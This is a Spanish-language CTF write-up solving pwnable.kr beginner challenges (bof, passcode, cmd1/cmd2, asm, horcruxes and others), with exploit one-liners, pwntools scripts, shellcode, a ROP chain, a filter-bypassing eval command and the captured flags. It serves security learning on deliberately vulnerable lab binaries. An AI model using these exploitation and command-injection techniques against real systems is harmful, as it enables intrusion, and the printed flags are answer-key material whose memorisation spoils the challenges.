fd

El descriptor de archivo 0 es la entrada estándar, pasamos el valor 0x1234 (4660 en decimal) como argumento:
1 | fd@ubuntu:~$ ./fd 4660 |
Mama! Now_I_understand_what_file_descriptors_are!
Collision

El programa espera 20 bytes, los divide en grupos de 5 enteros de 4 bytes cada uno, los suma y compara el resultado con 0x21DD09EC, debemos pasar unos bytes que sumados den lo mismo:
1 | Python 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux |
1 | col@ubuntu:~$ ./col $(python3 -c 'import sys; sys.stdout.buffer.write(b"\xC8\xCE\xC5\x06"*4 + b"\xCC\xCE\xC5\x06")') |
Two_hash_collision_Nicely
bof

Este es un buffer overflow clásico, necesitamos sobreescribir key para que la comparacion sea correcta, tambien en readme nos dicen que el programa esta corriendo en el puerto 9000 local, debemos explotarlo para encontrar la flag.
Si hacemos un breakpoint en *func+63 veremos que el offset es de 56 bytes (32 del arreglo, 16 que reserva el compilador, 4 de ebp y 4 de la dirección de retorno)
1 | bof@ubuntu:~$ cat readme |
Daddy_I_just_pwned_a_buff3r!
passcode

La cadena name se almacena en ebp-0x70:
1 | 0x08049324 <+50>: lea eax,[ebp-0x70] <---- |
Y passcode1, passcode2 se almacenan en ebp-0x10 y ebp-0xc respectivamente:
1 | 0x0804921e <+40>: push DWORD PTR [ebp-0x10] |
En la entrada del nombre se consumen 100 bytes, 0x70-0x10=0x60=96 asi que los últimos 4 bytes pueden sobreescribir passcode1.
Los scanf de los passcodes estan mal implementados:
1 | printf("enter passcode1 : "); |
El segundo parámetro debería ser la dirección de memoria del passcode, o sea, debería usarse & como operador de desreferencia, sin embargo aquí se está escribiendo en la dirección de memoria cuyo valor contiene passcode.
Luego del scanf de passcode1 se hace una llamada a fflush, lo que tenemos que hacer es sobreescribir el contenido de passcode1 con la dirección de fflush en la GOT y luego con esta vulnerabilidad en scanf escribir la dirección real a la que apunta fflush en la GOT.
Por alguna razón pwngdb estaba fallando y no pude ejecutar el programa, así que obtuve la dirección de fflush en la GOT con objdump:
1 | passcode@ubuntu:~$ objdump -R passcode | grep fflush |
1 | ... |
Como scanf acepta solo entrada numérica para passcode1 tenemos que convertir esta dirección a un decimal con python3 -c 'print(0x0804928f)'
Resultado final:
1 | passcode@ubuntu:~$ python3 -c 'import sys;sys.stdout.buffer.write(b"A"*96+b"\x14\xc0\x04\x08"+b"134517391")'|./passcode |
s0rry_mom_I_just_ign0red_c0mp1ler_w4rning
random

El programa usa rand() de libc; en Linux rand() toma de semilla el valor “1” cuando no se especifica y como es un PRNG es determinista. Como resultado el primer entero generado por rand() en Linux es siempre 1804289383
Hacemos XOR con la clave para obtener el valor correcto
1 | python3 |
1 | random@ubuntu:~$ ls -l ./random |
m0mmy_I_can_predict_rand0m_v4lue!
input2

Stage 1
- Pasar 99 argumentos.
- El argumento ‘A’(65 en decimal) debe contener
\x00. - El argumento ‘B’(66 en decimal) debe contener
\x20\x0a\x0d.
Stage 2
- Enviar
\x00\x0a\x00\xffporstdinal programa - Enviar
\x00\x0a\x02\xffporstderral programa
Stage 3
- Establecer la variable de entorno
\xde\xad\xbe\xefcon valor\xca\xfe\xba\xbe
Stage 4
- Crear un archivo llamado
\x0acon exactamente 4 bytes\x00de contenido.
Stage 5
- El argumento ‘C’(67 en decimal) debe contener un puerto válido para un socket.
- Conectarnos a este puerto local y enviar
\xde\xad\xbe\xefporstdin.
1 | from pwn import * |
1 | nput2@ubuntu:/tmp$ python3 sk.py |
Mommy_now_I_know_how_to_pa5s_inputs_in_Linux
leg

Me gustó mucho este reto, fue mi introducción a ARM.
Primero, en esta arquitectura el registro r0 se utiliza como el valor de retorno de las funciones, asi que debemos rastrear su valor.
Key1
1 | (gdb) disass key1 |
ARM tiene una “tubería” de ejecución con tres etapas para mejorar el rendimiento:
- Fetch (F): Carga la instrucción actual desde memoria
- Decode (D): Decodifica la instrucción
- Execute (E): Ejecuta la instrucción
Por eso cuando se usa pc en alguna instrucción en Fetch (F), el procesador está ejecutando dos instrucciones más adelante y pc
realmente vale instrucción_en_fetch + 8 en modo ARM O instrucción_en_fetch + 4 en modo Thumb.
Entonces key1 retorna 0x00008ce4
Key2
1 | (gdb) disass key2 |
El procesador ARM cambia a modo Thumb cuando el bit menos significativo (LSB) de un registro usado en una instrucción de bifurcacion (bx,blx) es 1
Entonces key2 retorna 0x00008d0c
Key3
1 | (gdb) disass key3 |
El registro lr apunta a la dirección de retorno cuando se hace una llamada a una función con bl por ejemplo:
1 | 0x00008d70 <+52>: bl 0x8cf0 <key2> |
Entonces key3 retorna 0x00008d80
Final
1 | python3 |
1 | / $ ./leg |
daddy_has_lot_of_ARM_muscl3
mistake

Normalmente fd=open("/home/mistake/password",O_RDONLY,0400) deberia terminar con fd conteniendo un número que sería el descriptor de archivo, sin embargo aqui:
1 | int fd; |
El operador < tiene mayor precedencia que el operador = y como open(...) devuelve un número positivo si tuvo éxito termina siendo fd = n<0; n es positivo = 0. Entonces fd acaba apuntando a stdin, y password se leerá de la entrada de usuario:
1 | if(!(len=read(fd,pw_buf,PW_LEN) > 0)){ |
Entonces esperamos 20 segundos (sleep(time(0)%20);) y enviamos un valor de 10 caracteres, digamos 1111111111 y ese valor XOR 1, en este caso 0000000000:
1 | python3 |
1 | mistake@ubuntu:~$ ./mistake |
Mommy_the_0perator_priority_confuses_me
coin1

Es un problema de búsqueda binaria (https://es.wikipedia.org/wiki/B%C3%BAsqueda_binaria), este es soluble si log2(N) <= C y tal parece que sí:
1 | N=507 C=9 |
1 | >>> import math |
Implementamos la búsqueda binaria en un script de python con pwntools:
1 | from pwn import * |
1 | Correct! (95) |
b1naRy_S34rch1Ng_1s_3asy_p3asy
blackjack

El sistema no valida una apuesta negativa; por ejemplo: si apostamos $-100000 se calcula cash = cash - (-10000) = cash + 10000 si perdemos con una apuesta negativa:
1 | if(p==21) //If user total is 21, win |
1 | Would You Like To Play Again? |
Woohoo_I_am_now_a_MILL10NAIRE!
lotto

El programa chequea erróneamente los números de la lotería, asi que basta con enviar el mismo byte 6 veces y que este entre 1 de los 6 generados aletoriamente:
1 | // calculate lotto score |
Las probabilidades son 1/45, así que hacemos fuerza bruta:
1 | from pwn import * |
Dato curioso: Perdí mi tiempo accidentalmente usando 6 valores que estaban fuera del rango [1-45]
1 | lotto@ubuntu:~$ python3 /tmp/so.py |
Sorry_mom_1_Forgot_to_check_duplicates
cmd1

No tenemos path asi que debemos escribir la ruta completa del comando /usr/bin/cat. Podemos usar comodines para pasar el filtro de “flag”:
1 | cmd1@ubuntu:~$ ./cmd1 "/usr/bin/cat fl*g" |
PATH_environment?_Now_I_really_g3t_it,_mommy!
cmd2

Estoy seguro de que hay métodos más limpios de resolver esto pero mi solución fue la siguiente:
eval $(printf "\57usr\57bin\57cat \57home\57cmd2\57fl%s" "ag")
El subcomando de printf se expande a “/usr/bin/cat /home/cmd2/flag”. En un principio intenté usar \x2f como secuencia de escape para / pero fue malinterpretado por el programa asi que usé su equivalente en octal \57.
El comando eval ejecuta una cadena como comandos de shell dinámicamente.
Ambos printf y eval son comandos “built-in” o internos de la shell por lo que no dependen del PATH.
1 | cmd2@ubuntu:~$ ./cmd2 'eval $(printf "\57usr\57bin\57cat \57home\57cmd2\57fl%s" "ag")' |
Shell_variables_can_be_quite_fun_to_play_with!
Nota: El mensaje de la bandera me da a entender que a lo mejor esta no era la solución esperada.
memcpy

El código falla en el quinto caso, específicamente la función fast_memcpy:
1 | memcpy@ubuntu:/tmp$ echo -ne "8\n16\n32\n64\n128\n256\n512\n1024\n2048\n4096\n" | nc 0.0.0.0 9022 |
La función fast_memcpy usa las instrucciones movdqa y movntps para cargar 128 bits (16 bytes) desde/hacia un registro XMM y copiar datos desde uno de estos registros en memoria respectivamente.
Pero ambas instrucciones requieren que la pila esté alineada a 16 bytes sino causan un “General Protection Fault”:
https://mudongliang.github.io/x86/html/file_module_x86_id_183.html
https://mudongliang.github.io/x86/html/file_module_x86_id_197.html
Normalmente malloc garantiza una alineación a 8 bytes, es decir, esp % 16 == 8, entonces necesitamos sumar 8 a la cantidad de bytes reservados para que esp % 16 == 0 y la pila esté alineada a 16 bytes.
1 | memcpy@ubuntu:~$ echo -ne "8\n16\n32\n72\n136\n264\n520\n1032\n2056\n4096\n" | nc 0.0.0.0 9022 |
b0thers0m3_m3m0ry_4lignment
asm

solución con un shellcode manual
1 | BITS 64 |
Nota: Tener en cuenta que a veces esto de db "string",0 puede resultar fatal por el NULL BYTE del final, funciones que leen strings en C terminan cuando encuentran un NULL BYTE, asi que a veces puede que no se lea completamente el shellcode. solución a esto es agregar un caracter no nulo al final de la cadena y reemplazarlo con una instrucción antes de las syscalls:
1 | ;db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_th |
Ensamblamos esto con nasm shellcode.asm y vemos los bytes en el formato de cadena formateada con xxd -p | tr -d '\n' | sed 's/\(..\)/\\x\1/g':
1 | xxd -p shellcode | tr -d '\n' | sed 's/\(..\)/\\x\1/g' |
En python con pwntools nos conectamos, enviamos el shellcode y obtenemos la flag:
1 | from pwn import * |
1 | └─$ python3 s.py |
solución usando shellcraft de pwntools
1 | from pwn import * |
Mak1ng_5helLcodE_i5_veRy_eaSy
horcruxes

El binario genera 7 números aleatorios (los horcruxes):
1 | horcruxes@ubuntu:~$ ltrace ./horcruxes |
En la función ropme el primer valor que introducimos se compara con cada horcrux y salta a alguna de las funciones A,B,C,D,E,F,G (que imprimen los horcruxes) si conciden, se ve en líneas como:
1 | 0x08041555 <+74>: jne 0x8041561 <ropme+86> |
Al final si no coincide con ninguno entonces se reservan 0x74 bytes y nos piden introducir cuánta experiencia ganamos (la suma de los horcruxes). Convierte la entrada a un entero con atoi y si es correcto entonces abre el archivo flag e imprime su contenido:
1 | 0x08041600 <+245>: lea eax,[ebp-0x74] |
Por si las dudas, la generacion y suma de los horcruxes se calcula en la función init_ABCDEFG.
Bueno resulta que la función gets que toma nuestra entrada es vulnerable, no revisa limites del arreglo y hay un buffer overflow. De paso sabemos que el binario no tiene canary (el buffer overflow pasa desapercibido) y no tiene PIE(las direcciones de memoria no cambian):
1 |
|
Debemos hacer ROP (Return Oriented Programming) para retornar a cada una de las funciones que imprimen la experiencia de los horcruxes, tomar su salida y sumarla y entonces volver a ropme a escribir la suma de la experiencia obtenida:
Se reservan 0x74 bytes asi que el offset es 0x74 + 4 bytes del ebp guardado en la funcion.
1 | from pwn import * |
1 | [+] Connecting to pwnable.kr on port 2222: Done |
Nota: No sabía que hacía la instrucción __x86.get_pc_thunk.bx pero luego me di cuenta que carga la dirección del código en el registro ebx para acceder a objetos y variables globales por medio de un desplazamiento de ese registro.
Otra nota: Recordar que la arquitectura trabajada en este programa es x86 a veces llamada i386, por lo que los parametros a funciones se llaman mediante pop/push usando la pila y NO registros.
The_M4gic_sp3l1_is_Avada_Ked4vra